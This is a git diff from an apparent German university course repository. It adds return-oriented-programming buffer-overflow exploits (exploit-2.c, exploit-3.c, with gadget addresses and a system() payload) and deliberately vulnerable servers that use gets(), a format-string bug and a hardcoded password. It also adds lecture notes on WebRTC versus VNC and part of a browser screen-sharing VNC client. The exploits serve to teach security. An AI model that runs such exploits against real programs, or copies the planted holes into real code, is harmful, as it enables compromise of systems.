$0x0,%eax "Rück-"Sprung + write (1, "\xe8\x26\xfe\xff\xff", 5); // callq 0x4003e0 <printf@plt> + write (1, "\xeb\xfe", 2); // while (1); + write (1, "\n", 1); + return 0; +} diff --git a/20210611/exploit-1.txt b/20210611/exploit-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..44707bfa2ee99ddd58e1c8ee67c8667225f25323 Binary files /dev/null and b/20210611/exploit-1.txt differ diff --git a/20210611/exploit-2.c b/20210611/exploit-2.c new file mode 100644 index 0000000000000000000000000000000000000000..cceab7204a351eba815603c4c78890303acc7e17 --- /dev/null +++ b/20210611/exploit-2.c @@ -0,0 +1,26 @@ +#include <stdlib.h> +#include <stdint.h> +#include <unistd.h> + +#define OVERFLOW 40 + +int main (int argc, char **argv) +{ + uint64_t mov_rsp_rdi = 0x555555555176; + uint64_t add_offset_to_rdi = 0x55555555517d; + uint64_t dummy = 0; + uint64_t printf_address = 0x555555555040; + uint64_t exit_address = 0x7ffff7e04ea0; + uint8_t overflow[OVERFLOW] = "loser"; + uint8_t payload[] = "I 0WN U!!1! " + " "; + write (1, overflow, sizeof (overflow)); + write (1, &mov_rsp_rdi, 8); + write (1, &add_offset_to_rdi, 8); + write (1, &printf_address, 8); + write (1, &exit_address, 8); + write (1, &dummy, 8); + write (1, payload, sizeof (payload)); + write (1, "\n", 1); + return 0; +} diff --git a/20210611/exploit-2.txt b/20210611/exploit-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..106a0677b3cc805cb61d8f1ae25ed79f4da31d10 Binary files /dev/null and b/20210611/exploit-2.txt differ diff --git a/20210611/exploit-3.c b/20210611/exploit-3.c new file mode 100644 index 0000000000000000000000000000000000000000..ae1903af3ddf12c812a784223c700d22904600c1 --- /dev/null +++ b/20210611/exploit-3.c @@ -0,0 +1,25 @@ +#include <stdlib.h> +#include <stdint.h> +#include <unistd.h> + +#define OVERFLOW 40 + +int main (int argc, char **argv) +{ + uint64_t mov_rsp_rdi = 0x555555555176; + uint64_t add_offset_to_rdi = 0x55555555517d; + uint64_t dummy = 0; + uint64_t system_address = 0x555555555030; // 0x7ffff7e109c0; + uint64_t exit_address = 0x555555555060; // 0x7ffff7e04ea0; + uint8_t overflow[OVERFLOW] = "loser"; + uint8_t payload[] = "gimp ../common/os-layers.xcf.gz"; + write (1, overflow, sizeof (overflow)); + write (1, &mov_rsp_rdi, 8); + write (1, &add_offset_to_rdi, 8); + write (1, &system_address, 8); + write (1, &exit_address, 8); + write (1, &dummy, 8); + write (1, payload, sizeof (payload)); + write (1, "\n", 1); + return 0; +} diff --git a/20210611/exploit-3.txt b/20210611/exploit-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..93827d33fe1916d2e75430c55108af67c634aecb Binary files /dev/null and b/20210611/exploit-3.txt differ diff --git a/20210611/server-0.c b/20210611/server-0.c new file mode 100644 index 0000000000000000000000000000000000000000..96f8b4df4c5a467aa5d2ec424434a6a33a6f6127 --- /dev/null +++ b/20210611/server-0.c @@ -0,0 +1,24 @@ +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +int main (void) +{ + char name_buffer[100]; + char *pass_buffer; + char username[] = "peter"; + char password[] = "Hi!ph1sch"; + + printf ("Your name, please: "); + gets (name_buffer); + printf ("Hello, "); + printf (name_buffer); + printf ("!\n"); + + pass_buffer = getpass ("Your password, please: "); + if (strcmp (name_buffer, username) == 0 && strcmp (pass_buffer, password) == 0) + printf ("You have access.\n"); + else + printf ("Login incorrect.\n"); + return 0; +} diff --git a/20210611/server-1.c b/20210611/server-1.c new file mode 100644 index 0000000000000000000000000000000000000000..68f9eb57f5e277413a0206ed9af175033e9cda9d --- /dev/null +++ b/20210611/server-1.c @@ -0,0 +1,10 @@ +#include <stdio.h> + +int main (void) +{ + char buffer[20]; + printf ("Your name, please: "); + gets (buffer); + printf ("Hello, %s!\n", buffer); + return 0; +} diff --git a/20210611/server-2.c b/20210611/server-2.c new file mode 100644 index 0000000000000000000000000000000000000000..4aac725ae5c30412f0952a770d1c9d9f6c1f6895 --- /dev/null +++ b/20210611/server-2.c @@ -0,0 +1,33 @@ +#include <stdio.h> +#include <stdlib.h> + +void stuff (void) +{ + asm ("mov $0, %eax"); + asm ("add $0x28, %rsp"); + asm ("ret"); + asm ("nop"); + asm ("nop"); + asm ("nop"); + asm ("mov %rsp, %rdi"); + asm ("ret"); + asm ("nop"); + asm ("nop"); + asm ("nop"); + asm ("add $0x20, %rdi"); + asm ("ret"); + asm ("nop"); + asm ("nop"); + asm ("nop"); + system ("clear"); + exit (0); +} + +int main (void) +{ + char buffer[20]; + printf ("Your name, please: "); + gets (buffer); + printf ("Hello, %s!\n", buffer); + return 0; +} diff --git a/20210611/server-3.c b/20210611/server-3.c new file mode 100644 index 0000000000000000000000000000000000000000..11c3a7ff2bf4e1f27accebd7d9caddf6d90dfb66 --- /dev/null +++ b/20210611/server-3.c @@ -0,0 +1,33 @@ +#include <stdio.h> +#include <stdlib.h> + +void stuff (void) +{ + asm ("mov $0, %eax"); + asm ("add $0x28, %rsp"); + asm ("ret"); + asm ("nop"); + asm ("nop"); + asm ("nop"); + asm ("mov %rsp, %rdi"); + asm ("ret"); + asm ("nop"); + asm ("nop"); + asm ("nop"); + asm ("add $0x20, %rdi"); + asm ("ret"); + asm ("nop"); + asm ("nop"); + asm ("nop"); + system ("clear"); + exit (0); +} + +int main (void) +{ + char buffer[20]; + printf ("Your name, please: "); + fgets (buffer, 20, stdin); + printf ("Hello, %s!\n", buffer); + return 0; +} diff --git a/20210618/bs-20210618.txt b/20210618/bs-20210618.txt new file mode 100644 index 0000000000000000000000000000000000000000..c0a3414d7afc09670635d02e950f929b07d2c71c --- /dev/null +++ b/20210618/bs-20210618.txt @@ -0,0 +1,56 @@ +Bildverarbeitung und Objekterkennung, 18.06.2021, 11:37:19 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Aus WebCam-Bild mit verschiedenen Fokusstufen +ein 3d-Diagramm von Objekten erzeugen + +Einstieg: Kamera-Konfigurator zum Einstellen der WebCam + +Idee: Server-Client-Anwendung mit Web-Oberfläche + +Problem: Kamerabild, das als unkomprimierte Bilddaten +über einen WebSocket ankommt, anzeigen + +Lösungsansatz: In JavaScript auf Canvas zeichnen +--> nicht schnell genug (10 fps, + Änderungen von z.B. der Helligkeit noch langsamer) + +Ein Python-Server speist das Bild als NumPy-Array in den Websocket ein. +JSON-Objekt: Vorspann + Daten als String + +Hardwarenahe JavaScript-Programmierung: +https://nodejs.org/dist/latest-v16.x/docs/api/buffer.html#buffer_buffers_and_character_encodings + +Übertragung von Kamerabildern mittels WebRTC, 18.06.2021, 11:32:16 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +WebRTC = Web Real Time Communication +Übertragung von Bild und Ton in Echtzeit zwischen Web-Browsern + +JavaScript beim Sender und Empfänger +dazwischen: WebRTC-Gateway + - Janus (CVH Camera) + - Kurento (BigBlueButton, OpenMeetings) + - Jitsi VideoBridge + +Alternativen zu WebRTC: + - für Tonübertragung: Mumble + - für Übertragung von Bildschirminhalten: VNC + +Vergleich WebRTC / VNC: + + * Web Real Time Communication (WebRTC) + - Ziel: Übertragung von "Filmen" + - hohe Frame-Raten + - gelegentliche Unschärfen nimmt man in Kauf + - höhere Anforderungen an Rechenleistung und Netzwerkbandbreite + - bei Übertragung von Bildschirminhalten: + sehr hohe Anforderungen an Speicherplatz (RAM) + - Browser-basiert + + * Virtual Network Computing (VNC) / Remote Desktop Protocol (RDP) + - Ziel: Pixelgenaue Übertragung von Bildschirminhalten + - gelegentliche niedrigere Frame-Raten nimmt man in Kauf + - bei Übertragung von Bildschirminhalten: + niedrige Anforderungen an Rechenleistung und Netzwerkbandbreite + - bei Übertragung von "Filmen": + hohe Anforderungen an Rechenleistung und Netzwerkbandbreite + - dedizierte Software; es gibt auch Browser-Lösungen diff --git a/20210618/yesvnc-wc-6.html b/20210618/yesvnc-wc-6.html new file mode 100644 index 0000000000000000000000000000000000000000..e039f5ca712a2ae9526ec112428ef7b8ea74a997 --- /dev/null +++ b/20210618/yesvnc-wc-6.html @@ -0,0 +1,1282 @@ +<!doctype html public "-//W3C//DTD HTML 4.0 Strict//EN"> +<html> + <head> + <meta http-equiv="Content-Type" content="text/html; charset=utf8"> + <title>yesVNC Web Connector</title> + <meta name="viewport" content="width=device-width, initial-scale=1.0"> + <meta charset="utf-8"> + <link rel="stylesheet" href="stylesheets/yesvnc-wc.css" type="text/css"> + </head> + <body> + <main class="main"> + <header class="main__header"> + <h2 class="main__header-title">yesVNC Web Connector</h2> + <h3 id="room-indicator" class="main__header-subtitle"> + Channel 6 + </h3> + </header> + <hr class="main__seperator" /> + <div id="preview-section" class="hidden"> + <div id="preview-container"> + <video id="video" style="display: none;" autoplay></video> + <canvas id="canvas0" style="display:none;"></canvas> + <canvas class="preview" id="canvas1"></canvas> + </div> + <hr class="main__seperator" /> + </div> + <div class="main__controls"> + <button id="start">Start</button> + <button id="stop" disabled>Stop</button> + </div> + </main> + <script> + + const debugging = 0; + + const combine_rects_x_min_distance = 24; + const combine_rects_y_min_distance = 4; + + const scroll_detection_x_min = -64; + const scroll_detection_x_max = 64; + const scroll_detection_y_min = -64; + const scroll_detection_y_max = 64; + const scroll_detection_r_max = 16; + const scroll_detection_min_width = 256; + const scroll_detection_min_height = 256; + const scroll_detection_min_stripe_width = 16; + const scroll_detection_min_stripe_height = 16; + const scroll_detection_point_divisor = 1024; + const scroll_detection_length_divisor = 8; + const scroll_detection_same_color_threshold = 0.995; + const scroll_detection_hit_threshold = 0.995; + + let video = document.getElementById ("video"); + const canvas0 = document.getElementById ("canvas0"); + const canvas1 = document.getElementById ("canvas1"); + let ctx0 = undefined; + let ctx1 = undefined; + + function hideElement (el) + { + el.classList.add ('hidden'); + } + + function showElement (el) + { + el.classList.remove ('hidden'); + } + + const displayMediaOptions = { video: { cursor: "always" }, audio: false }; + + async function startCapture () + { + video.srcObject = await navigator.mediaDevices.getDisplayMedia (displayMediaOptions); + showElement (document.getElementById ('preview-section')); + } + + function stopCapture (evt) + { + hideElement (document.getElementById ('preview-section')); + let tracks = video.srcObject.getTracks (); + tracks.forEach ( + function (track) + { + track.stop (); + }); + video.srcObject = null; + } + + const startButton = document.getElementById ("start"); + const stopButton = document.getElementById ("stop"); + + startButton.addEventListener ("click", + function (evt) + { + startCapture (); + startButton.setAttribute ('disabled', ''); + stopButton.removeAttribute ('disabled'); + }, + false); + + stopButton.addEventListener ("click", + function (evt) + { + stopCapture (); + start.removeAttribute ('disabled'); + stopButton.setAttribute ('disabled', ''); + window.location.reload(); + }, + false); + + let socket = undefined; + + function buf2hex (buffer) + { + const b = new Uint8Array (buffer); + const hexdump = Array.prototype.map.call (b, + function (x) + { + return ("00" + x.toString (16)).slice (-2); + }).join (" "); + return hexdump + " (" + buffer.byteLength.toString () + + (buffer.byteLength == 1 ? " byte)" : " bytes)"); + } + + let wScreen = 0; + let hScreen = 0; + + const rfb_padding = 0; + const rfb_encoding_raw = 0; + const rfb_encoding_copyrect = 1; + const rfb_encoding_rre = 2; + const rfb_encoding_tight = 7; + const rfb_name = "wc:6"; + const rfb_name_length = rfb_name.length; + + class Rect + { + constructor (x, y, w, h, encoding) + { + this.x = x; + this.y = y; + this.w = w; + this.h = h; + this.encoding = encoding; + } + + send () + { + const buffer = new ArrayBuffer (12); + const b = new Uint8Array (buffer); + b[0] = this.x >>> 8; + b[1] = this.x & 0xff; + b[2] = this.y >>> 8; + b[3] = this.y & 0xff; + b[4] = this.w >>> 8; + b[5] = this.w & 0xff; + b[6] = this.h >>> 8; + b[7] = this.h & 0xff; + b[8] = this.encoding >>> 24 + b[9] = (this.encoding >>> 16) & 0xff; + b[10] = (this.encoding >>> 8) & 0xff; + b[11] = this.encoding & 0xff; + if (debugging) + console.log ("sending Rect object: " + buf2hex (buffer)); + socket.send (buffer); + } + } + + class RawRect extends Rect + { + constructor (x, y, w, h, data) + { + super (x, y, w, h, rfb_encoding_raw); + this.data = data; + } + + send () + { + super.send (); + if (debugging) + console.log ("sending RawRect object data (" + this.data.byteLength.toString () + " pixel bytes)"); + socket.send (this.data); + } + } + + class ScrollRect extends Rect + { + constructor (x, y, w, h, dx, dy) + { + super (x, y, w, h, rfb_encoding_copyrect); + this.dx = dx; + this.dy = dy; + } + + send () + { + super.send (); + const buffer = new ArrayBuffer (4); + const b = new Uint8Array (buffer); + b[0] = this.dx >>> 8; + b[1] = this.dx & 0xff; + b[2] = this.dy >>> 8; + b[3] = this.dy & 0xff; + if (debugging) + console.log ("sending ScrollRect object: " + buf2hex (buffer)); + socket.send (buffer); + } + } + + class SolidRect extends Rect + { + constructor (x, y, w, h, color) + { + super (x, y, w, h, rfb_encoding_rre); + this.color = color; + } + + send () + { + super.send (); + const buffer = new ArrayBuffer (8); + const b = new Uint8Array (buffer); + b[0] = 0; // number of sub-rectangles + b[1] = 0; + b[2] = 0; + b[3] = 0; + b[4] = this.color >>> 16; + b[5] = (this.color >>> 8) & 0xff; + b[6] = this.color & 0xff; + b[7] = rfb_padding; + if (debugging) + console.log ("sending SolidRect object: " + buf2hex (buffer)); + socket.send (buffer); + } + } + + class TightRect extends Rect + { + constructor (x, y, w, h, data) + { + super (x, y, w, h, rfb_encoding_tight); + this.data = data; + } + + send () + { + super.send (); + const data_length = this.data.byteLength; + let data_length_length = undefined; + if (data_length <= 0x7f) + data_length_length = 1; + else if (data_length <= 0x3fff) + data_length_length = 2; + else + data_length_length = 3; + const buffer = new ArrayBuffer (1 + data_length_length); + const b = new Uint8Array (buffer); + b[0] = 0x90; // Tight-JPEG + if (data_length <= 0x7f) + b[1] = data_length & 0x7f; + else if (data_length <= 0x3fff) + { + b[1] = (data_length & 0x7f) | 0x80; + b[2] = (data_length & 0x3f80) >>> 7; + } + else + { + b[1] = (data_length & 0x7f) | 0x80; + b[2] = ((data_length & 0x3f80) >>> 7) | 0x80; + b[3] = (data_length & 0x3fc000) >>> 14; + } + if (debugging) + console.log ("sending TightRect object header: " + buf2hex (buffer)); + socket.send (buffer); + if (debugging) + console.log ("sending TightRect object data (" + data_length.toString () + " pixel bytes)"); + socket.send (this.data); + } + } + + let rects = new Array (); + + class ScrollParams + { + constructor (x, y, w, h, dx, dy) + { + this.x = x; + this.y = y; + this.w = w; + this.h = h; + this.dx = dx; + this.dy = dy; + } + } + + let scrollRects = new Array (); + + let rfb_bits_per_pixel = 32; + let rfb_depth = 24; + let rfb_big_endian_flag = 0; + let rfb_true_color_flag = 1; + let rfb_red_maximum = 255; + let rfb_green_maximum = 255; + let rfb_blue_maximum = 255; + let rfb_red_shift = 24; + let rfb_green_shift = 16; + let rfb_blue_shift = 8; + + let isFirstFrame = 1; + let processing = 0; + const rfb_aborted = 42; + + function fillRectBuffer (px, x, y, w, h, color) + { + for (let yy = 0; yy < h; yy++) + { + let o = (y + yy) * wScreen + x; + for (let xx = 0; xx < w; xx++) + px[o++] = color; + } + } + + function scrollRectBuffer (px, x, y, w, h, dx, dy) + { + const ww = w - Math.abs (dx); + const hh = h - Math.abs (dy); + const do0 = dy > 0 ? -wScreen : wScreen; + let o10 = (dy > 0 ? y + h - 1 : y) * wScreen + (dx > 0 ? x + w - 1 : x); + let o00 = ((dy > 0 ? y + h - 1 : y) - dy) * wScreen + (dx > 0 ? x + w - 1 : x) - dx; + for (let i = 0; i < hh; i++) + { + o1 = o10; + o0 = o00; + if (dx > 0) + for (let j = 0; j < ww; j++) + px[o1--] = px[o0--]; + else + for (let j = 0; j < ww; j++) + px[o1++] = px[o0++]; + o10 += do0; + o00 += do0; + } + } + + function sleep (delay) + { + return new Promise ( + function (resolve) + { + setTimeout (resolve, delay) + }); + } + + function canvasToBlob (canvas, type, options) + { + return new Promise ( + function (resolve) + { + canvas.toBlob (resolve, type, options); + }); + } + + function pushRectRaw (x, y, w, h) + { + const data_length = w * h * 4; + const buffer = new ArrayBuffer (data_length); + const b = new Uint8Array (buffer); + const id1 = ctx1.getImageData (x, y, w, h); + const px1 = new Uint8Array (id1.data.buffer); + let bo = 0; + let po = 0; + for (let yy = 0; yy < h; yy++) + for (let xx = 0; xx < w; xx++) + { + b[bo + 0] = px1[po + 2]; + b[bo + 1] = px1[po + 1]; + b[bo + 2] = px1[po + 0]; + b[bo + 3] = rfb_padding; + bo += 4; + po += 4; + } + if (debugging) + console.log ("storing RawRect (" + data_length.toString () + " pixel bytes)"); + rects.push (new RawRect (x, y, w, h, buffer)); + } + + function pushRectScroll (x, y, w, h, dx, dy) + { + if (debugging) + console.log ("storing ScrollRect"); + rects.push (new ScrollRect (x, y, w, h, dx, dy)); + } + + function pushRectSolid (x, y, w, h, color) + { + if (debugging) + console.log ("storing SolidRect"); + rects.push (new SolidRect (x, y, w, h, color)); + } + + async function pushRectTight (x, y, w, h) + { + if (debugging) + console.log ("pushRectTight: x = " + x.toString () + ", y = " + y.toString () + ", w = " + w.toString () + ", h = " + h.toString ()); + let canvas = undefined; + if (x == 0 && y == 0 && w == wScreen && h == hScreen) + canvas = canvas1; + else + { + canvas = document.createElement ('canvas'); + canvas.width = w; + canvas.height = h; + canvas.getContext ('2d').drawImage (canvas1, -x, -y); + } + // if (debugging) + // console.log ("calling canvasToBlob()"); + const blob = await canvasToBlob (canvas, "image/jpeg"); + // if (debugging) + // console.log ("calling blob.arrayBuffer()"); + const jpeg_buffer = await blob.arrayBuffer (); + // if (debugging) + // console.log ("storing TightRect (" + jpeg_buffer.byteLength.toString () + " instead of " + (w * h * 4).toString () + " pixel bytes)"); + rects.push (new TightRect (x, y, w, h, jpeg_buffer)); + } + + function detectScrolling (px0, px1, x, y, w, h) + { + if (debugging) + console.log ("scrolling: detection started"); + const pixels = w * h; + const points = Math.floor (pixels / scroll_detection_point_divisor); + const qxBuffer = new ArrayBuffer (2 * points); + const qx = new Uint16Array (qxBuffer); + const qyBuffer = new ArrayBuffer (2 * points); + const qy = new Uint16Array (qyBuffer); + const qc1Buffer = new ArrayBuffer (4 * points); + const qc1 = new Uint32Array (qc1Buffer); + const qc0Buffer = new ArrayBuffer (4 * points); + const qc0 = new Uint32Array (qc0Buffer); + for (let i = 0; i < points; i++) + { + const p = Math.floor (Math.random () * pixels); + // I lost a whole day to find out that p / w is a floating point division, + // which causes crazy things to happen when we use yy as an array index. + // I hate JavaScript. -- PG 20201222 + const yy = Math.floor (p / w); + const xx = p % w; + const o = (y + yy) * wScreen + x + xx; + qy[i] = yy; + qx[i] = xx; + qc1[i] = px1[o]; + qc0[i] = px0[o]; + } + const xDensityBuffer = new ArrayBuffer (2 * w); + const xDensity = new Uint16Array (xDensityBuffer); + const yDensityBuffer = new ArrayBuffer (2 * h); + const yDensity = new Uint16Array (yDensityBuffer); + for (let xx = 0; xx < w; xx++) + { + xDensity[xx] = 0; + for (let i = 0; i < points; i++) + if (qx[i] < xx && qc1[i] != qc0[i]) + xDensity[xx]++; + } + const lx = Math.floor (w / scroll_detection_length_divisor); + const halflx = Math.floor (lx / 2); + const averageDensity = Math.floor (xDensity[w - 1] / scroll_detection_length_divisor); + if (debugging) + console.log ("scrolling: averageDensity =", averageDensity); + let x0 = 0; + while (x0 + lx < w) + { + while (x0 + lx < w && xDensity[x0 + lx] - xDensity[x0] < averageDensity) + x0++; + let x1 = x0; + while (x1 + lx < w && xDensity[x1 + lx] - xDensity[x1] >= averageDensity) + x1++; + if (x1 - x0 >= scroll_detection_min_stripe_width) + { + if (debugging) + console.log ("scrolling: vertical stripe:", x0 + halflx, x1 - x0); + for (let yy = 0; yy < h; yy++) + { + yDensity[yy] = 0; + for (let i = 0; i < points; i++) + if (qy[i] < yy && qc1[i] != qc0[i] && qx[i] >= x0 && qx[i] < x1) + yDensity[yy]++; + + } + const ly = Math.floor (h / scroll_detection_length_divisor); + const halfly = Math.floor (ly / 2); + const averageDensity = Math.floor (yDensity[h - 1] / scroll_detection_length_divisor); + if (debugging) + console.log ("scrolling: averageDensity =", averageDensity); + let y0 = 0; + while (y0 + ly < h) + { + while (y0 + ly < h && yDensity[y0 + ly] - yDensity[y0] < averageDensity) + y0++; + let y1 = y0; + while (y1 + ly < h && yDensity[y1 + ly] - yDensity[y1] >= averageDensity) + y1++; + if (y1 - y0 >= scroll_detection_min_stripe_height) + { + if (debugging) + console.log ("scrolling: horizontal stripe:", y0 + halfly, y1 - y0); + let sx = x0 + halflx; + let sy = y0 + halfly; + let sw = x1 - x0; + let sh = y1 - y0; + if (debugging) + { + console.log ("scrolling: checking area:", sx, sy, sw, sh); + console.log ("scrolling: " + scrollRects.length.toString () + " rects"); + } + const redundant = scrollRects.find ( + function (r) + { + if (debugging) + console.log ("scrolling: checking rect", sx, sy, sw, sh, "against", r.x, r.y, r.w, r.h, r.dx, r.dy); + if (sx + sw <= r.x || sx >= r.x + r.w) + return 0; + else if (sy + sh <= r.y || sy >= r.y + r.h) + return 0; + else + { + if (debugging) + console.log ("scrolling: new rect", sx, sy, sw, sh, "is redundant with", r.x, r.y, r.w, r.h, r.dx, r.dy); + return 1; + } + }); + if (!redundant) + { + const color = new Array; + for (let i = 0; i < points; i++) + if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh) + color.push (qc1[i]); + const points_inside = color.length; + color.sort ( + function (a, b) + { + return a - b; + }); + let color_abundance = 1; + let i0 = 0; + let i1 = 1; + while (i1 < points_inside) + { + if (color[i1] != color[i0]) + { + const a = i1 - i0; + if (a > color_abundance) + { + color_abundance = a; + i0 = i1; + } + } + i1++ + } + const a = i1 - i0; + if (a > color_abundance) + color_abundance = a; + if (debugging) + console.log ("scrolling: color_abundance = " + color_abundance.toString () + ", points_inside = " + points_inside.toString () + + ", threshold = " + (points_inside * scroll_detection_same_color_threshold).toString ()); + if (color_abundance < points_inside * scroll_detection_same_color_threshold) + { + let min_mishits = points_inside; + let sdx = 0; + let sdy = 0; + // We intentionally include the case dx == dy == 0. + // Without this, we get false positives where unchanged content + // is scrolled by 1 pixel because the "repair" after the scrolling + // is minimal. + for (let dy = scroll_detection_y_max; dy >= scroll_detection_y_min && min_mishits > 0; dy--) + for (let dx = scroll_detection_x_max; dx >= scroll_detection_x_min && min_mishits > 0; dx--) + if ((dx == 0 || dy == 0 || dx * dx + dy * dy < scroll_detection_r_max * scroll_detection_r_max)) + { + let i = 0; + let mishits = 0; + while (i < points && mishits < min_mishits) + { + if (qx[i] >= sx && qx[i] < sx + sw && qy[i] >= sy && qy[i] < sy + sh) + { + const o0 = (y + qy[i] - dy) * wScreen + x + qx[i] - dx; + if (o0 >= 0 && o0 < pixels && qc1[i] != px0[o0]) + mishits++; +// if (i < 10) +// console.log ("scrolling: point:", qx[i], qy[i], "rect:", sx, sx + sw, sy, sy + sh, +// "o0, px:", o0, qc1[i], px0[o0]); + } + i++; + } + if (mishits < min_mishits) + { + min_mishits = mishits; + sdx = dx; + sdy = dy; + } + if (debugging) + console.log ("scrolling: dx = " + dx.toString () + ", dy = " + dy.toString () + + ", mishits = " + mishits.toString () + ", points_inside = " + points_inside.toString ()); + } + if (debugging) + console.log ("scrolling: sdx = " + sdx.toString () + ", sdy = " + sdy.toString () + + ", min_mishits = " + min_mishits.toString () + ", points_inside = " + points_inside.toString ()); + if (min_mishits < points_inside * (1 - scroll_detection_hit_threshold)) + { + if (debugging) + console.log ("scrolling: expanding rect:", sx, sy, sw, sh, sdx, sdy); + let xx = sx - 1; + let scrollable = 1; + while (xx > 0 && scrollable) + { + let yy = sy; + let scrollable_points = 0; + let o1 = (y + yy) * wScreen + x + xx; + let o0 = (y + yy - sdy) * wScreen + x + xx - sdx; + while (yy < sy + sh) + { + if (px1[o1] == px0[o0]) + scrollable_points++; + yy++; + o1 += wScreen; + o0 += wScreen; + } + if (scrollable_points < sh * scroll_detection_hit_threshold) + scrollable = 0; + xx--; + } + if (!scrollable) + sx = xx + 1; + else + sx = xx; + xx = sx + sw; + scrollable = 1; + while (xx < w && scrollable) + { + let yy = sy; + let scrollable_points = 0; + let o1 = (y + yy) * wScreen + x + xx; + let o0 = (y + yy - sdy) * wScreen + x + xx - sdx; + while (yy < sy + sh) + { + if (px1[o1] == px0[o0]) + scrollable_points++; + yy++; + o1 += wScreen; + o0 += wScreen; + } + if (scrollable_points < sh * scroll_detection_hit_threshold) + scrollable = 0; + xx++; + } + if (!scrollable) + sw = xx - sx - 1; + else + sw = xx - sx; + let yy = sy - 1; + scrollable = 1; + while (yy > 0 && scrollable) + { + let xx = sx; + let scrollable_points = 0; + let o1 = (y + yy) * wScreen + x + xx; + let o0 = (y + yy - sdy) * wScreen + x + xx - sdx; + while (xx < sx + sw) + { + if (px1[o1] == px0[o0]) + scrollable_points++; + xx++; + o1++; + o0++; + } + if (scrollable_points < sw * scroll_detection_hit_threshold) + scrollable = 0; + yy--; + } + if (!scrollable) + sy = yy + 1; + else + sy = yy; + yy = sy + sh; + scrollable = 1; + while (yy < h && scrollable) + { + let xx = sx; + let scrollable_points = 0; + let o1 = (y + yy) * wScreen + x + xx; + let o0 = (y + yy - sdy) * wScreen + x + xx - sdx; + while (xx < sx + sw) + { + if (px1[o1] == px0[o0]) + scrollable_points++; + xx++; + o1++; + o0++; + } + if (scrollable_points < sw * scroll_detection_hit_threshold) + scrollable = 0; + yy++; + } + if (!scrollable) + sh = yy - sy - 1; + else + sh = yy - sy; +// if (debugging) + console.log ("scrolling: pushing rect:", sx, sy, sw, sh, sdx, sdy); + scrollRects.forEach ( + function (r) + { + if (!(sx + sw <= r.x || sx >= r.x + r.w || sy + sh <= r.y || sy >= r.y + r.h)) + { + if (debugging) + console.log ("scrolling: neutralizing redundant rect:", r.x, r.y, r.w, r.h, r.dx, r.dy); + r.dx = 0; + r.dy = 0; + } + }); + scrollRects.push (new ScrollParams (sx, sy, sw, sh, sdx, sdy)); + } + } + } + } + y0 = y1; + } + } + x0 = x1; + } + scrollRects.forEach ( + function (r) + { + if (r.dx != 0 || r.dy != 0) + { + const adx = Math.abs (r.dx); + const ady = Math.abs (r.dy); + if (r.w > adx && r.h > ady) + { +// pushRectSolid (r.x, r.y, r.w, r.h, 0xff0000); +// fillRectBuffer (px0, r.x, r.y, r.w, r.h, 0xffff0000); + const xx = r.dx > 0 ? r.x + r.dx : r.x; + const yy = r.dy > 0 ? r.y + r.dy : r.y; + pushRectScroll (xx, yy, r.w - adx, r.h - ady, xx - r.dx, yy - r.dy); + scrollRectBuffer (px0, r.x, r.y, r.w, r.h, r.dx, r.dy); + } + } + }); + if (debugging) + console.log ("scrolling: " + scrollRects.length.toString () + + " rectangle" + (scrollRects.length == 1 ? "" : "s") + " detected"); + scrollRects.length = 0; + } + + function determineBackgroundColor (px, x, y, w, h) + { + const pixels = w * h; + const max_points = Math.floor (pixels / 16); + const points = max_points > 256 ? 256 : max_points; + const color = new Array (points); + for (let i = 0; i < points; i++) + { + const p = Math.floor (Math.random () * pixels); + const yy = Math.floor (p / w); + const xx = p % w; + const o = yy * wScreen + x; + color[i] = px[o]; + } + color.sort ( + function (a, b) + { + return a - b; + }); + let background_index = 0; + let background_abundance = 1; + let i0 = 0; + let i1 = 1; + while (i1 < points) + { + if (color[i1] != color[i0]) + { + const a = i1 - i0; + if (a > background_abundance) + { + background_index = i0; + background_abundance = a; + i0 = i1; + } + } + i1++ + } + const a = i1 - i0; + if (a > background_abundance) + background_index = i0; + return color[background_index]; + } + + async function updateFullRectangle (x, y, w, h) + { + if (w * h * 4 > 1024) + await pushRectTight (x, y, w, h); + else + pushRectRaw (x, y, w, h); + } + + async function updateInnerStructureHorizontal (px0, px1, x, y, w, h, final) + { + // if (debugging) + // console.log ("updateInnerStructureHorizontal: x = " + x.toString () + ", y = " + y.toString () + // + ", w = " + w.toString () + ", h = " + h.toString () + ", final = ", final.toString ()); + const empty = new Array (w); + const pixel_unchanged = 0x01000000; + const same_color = 0x2000000; + let xx = 0; + while (xx < w) + { + let yy = 0; + let o = y * wScreen + x + xx; + const start_color = px1[o]; + empty[xx] = (start_color & 0x00ffffff) | (pixel_unchanged | same_color); + while (yy < h && empty[xx] & (pixel_unchanged | same_color)) + { + if (px1[o] != px0[o]) + empty[xx] &= ~pixel_unchanged; + if (px1[o] != start_color) + empty[xx] &= ~same_color; + o += wScreen; + yy++; + } + xx++; + } + let x0 = 0; + while (x0 < w && empty[x0] & (pixel_unchanged | same_color)) + x0++; + while (x0 < w) + { + while (x0 < w && !(empty[x0] & (pixel_unchanged | same_color))) + x0++; + let x1 = x0; + while (x1 < w && empty[x1] & (pixel_unchanged | same_color)) + x1++; + if (x1 < w && x1 - x0 < combine_rects_x_min_distance) + for (let xx = x0; xx < x1; xx++) + empty[xx] &= ~(pixel_unchanged | same_color); + x0 = x1; + } + let nothing_empty = 1; + for (let xx = 0; xx < w; xx++) + if (empty[xx] & (pixel_unchanged | same_color)) + nothing_empty = 0; + // if (debugging) + // console.log ("nothing_empty = " + nothing_empty.toString () + ", empty =", empty); + x0 = 0; + while (x0 < w) + { + let x1 = x0; + if (empty[x0] & pixel_unchanged) + { + while (x1 < w && empty[x1] & pixel_unchanged) + x1++; + } + else if (empty[x0] & same_color) + { + while (x1 < w && empty[x1] & same_color && (empty[x1] & 0x00ffffff) == (empty[x0] & 0x00ffffff)) + x1++; + x1--; + while (x1 > x0 && empty[x1] & pixel_unchanged) + x1--; + x1++; + const start_color = empty[x0] | 0xff000000; + pushRectSolid (x + x0, y, x1 - x0, h, debugging ? start_color | 0x00ffff : start_color); + fillRectBuffer (px0, x + x0, y, x1 - x0, h, start_color); + } + else + { + while (x1 < w && !(empty[x1] & (pixel_unchanged | same_color))) + x1++; + if (final) 